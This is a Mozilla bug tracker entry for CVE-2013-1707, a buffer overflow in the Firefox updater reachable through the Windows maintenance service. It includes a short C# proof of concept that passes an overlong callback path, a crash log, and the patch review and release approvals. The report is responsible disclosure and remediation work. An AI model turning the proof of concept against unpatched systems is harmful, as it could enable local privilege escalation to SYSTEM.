Closed Bug 888314 (CVE-2013-1707) Opened 11 years ago Closed 11 years ago

Buffer overflow in Updater


(Toolkit :: Application Update, defect)

22 Branch
Windows 7
Not set



Tracking Status
firefox22 --- wontfix
firefox23 + verified
firefox24 + fixed
firefox25 + verified
firefox-esr17 23+ verified
b2g18 --- unaffected


(Reporter: sebbity, Assigned: bbondy)



(4 keywords, Whiteboard: [adv-main23+][adv-esr1708+])


(2 files)

Using specially crafted arguments, an attacker can cause a buffer overflow in the updater executable ( The maintenance service passes all arguments provided to it along to the updater, so it can be used to trigger the overflow which can potentially lead to arbitrary code execution with SYSTEM privileges.

The vulnerability occurs when the /replace flag is given along with a long callback path. C# proof-of-concept:

using System;
using System.ServiceProcess;

namespace ReplaceBufferOverflow
    class Program
        static void Main(string[] args)
                ServiceController c = new ServiceController("MozillaMaintenance");
                c.Start(new string[] {  "aaa",
                                    @"c:\program files (x86)\Mozilla Firefox\updater.exe",
                                    @"c:\program files (x86)\Mozilla Firefox",
                                    @"c:\Program Files (x86)\Mozilla Firefox\uninstall",
                                    (new String('A',999))
            catch (Exception e) {

I can replicate on Windows 7 x64 with updater.exe version and maintenanceservice.exe version The result is an entry in the Windows application event log that looks similar to this:

Event ID: 1000
Faulting application name: updater.exe, version:, time stamp: 0x51c055c9
Faulting module name: unknown, version:, time stamp: 0x00000000
Exception code: 0xc0000005
Fault offset: 0x00410041
Faulting process id: 0x408
Faulting application start time: 0x01ce741487153860
Faulting application path: C:\Program Files (x86)\Mozilla Maintenance Service\update\updater.exe
Faulting module path: unknown

I have attached a compiled version of the proof-of-concept code, let me know if you need any further details.
Ever confirmed: true
Flags: sec-bounty?
Assignee: nobody → netzen
Attached patch Patch v1.Splinter Review
Attachment #769224 - Flags: review?(robert.bugzilla)
Attachment #769224 - Flags: review?(robert.bugzilla) → review+
Comment on attachment 769224 [details] [diff] [review]
Patch v1.

Requesting approval to land on try, oak, and m-i.

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
A crash easily, I'm not sure how easy it is to execute something elevated.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
No comments, but the content of the patch seems somewhat obvious what it's fixing.

Which older supported branches are affected by this flaw?
All for at least 10 versions.

If not all supported branches, which bug introduced the flaw?
bug 307181 (background updates)

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
Should be the same patch everywhere.

How likely is this patch to cause regressions; how much testing does it need?
Not likely after I test on oak.
Attachment #769224 - Flags: sec-approval?
Comment on attachment 769224 [details] [diff] [review]
Patch v1.

sec-approval+ for trunk. We should get this on branches well before the next release given the amount of security issues in this area recently.
Attachment #769224 - Flags: sec-approval? → sec-approval+
Closed: 11 years ago
Resolution: --- → FIXED
Flags: sec-bounty? → sec-bounty+
Comment on attachment 769224 [details] [diff] [review]
Patch v1.

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
User impact if declined:
It is a sec:high
A process that already has local access could potentially get elevated access.
Buffer overflow, someone could write into process memory and possibly cause it to jump to execute their own code

Bug caused by (feature/regressing bug #): 
bug 307181

Fix Landed on Version:

Risk to taking this patch (and alternatives if risky): 

String or UUID changes made by this patch: 

See for more info.
Attachment #769224 - Flags: approval-mozilla-esr17?
Attachment #769224 - Flags: approval-mozilla-beta?
Attachment #769224 - Flags: approval-mozilla-aurora?
Attachment #769224 - Flags: approval-mozilla-esr17?
Attachment #769224 - Flags: approval-mozilla-esr17+
Attachment #769224 - Flags: approval-mozilla-beta?
Attachment #769224 - Flags: approval-mozilla-beta+
Attachment #769224 - Flags: approval-mozilla-aurora?
Attachment #769224 - Flags: approval-mozilla-aurora+
Whiteboard: [adv-main23+][adv-esr1708+]
Alias: CVE-2013-1707
Confirmed issue using 17.0.7esr, and FF22.
Confirmed fixed using 17.0.8esr candidate, FF23 candidate and today's m-c nightly.
Group: core-security
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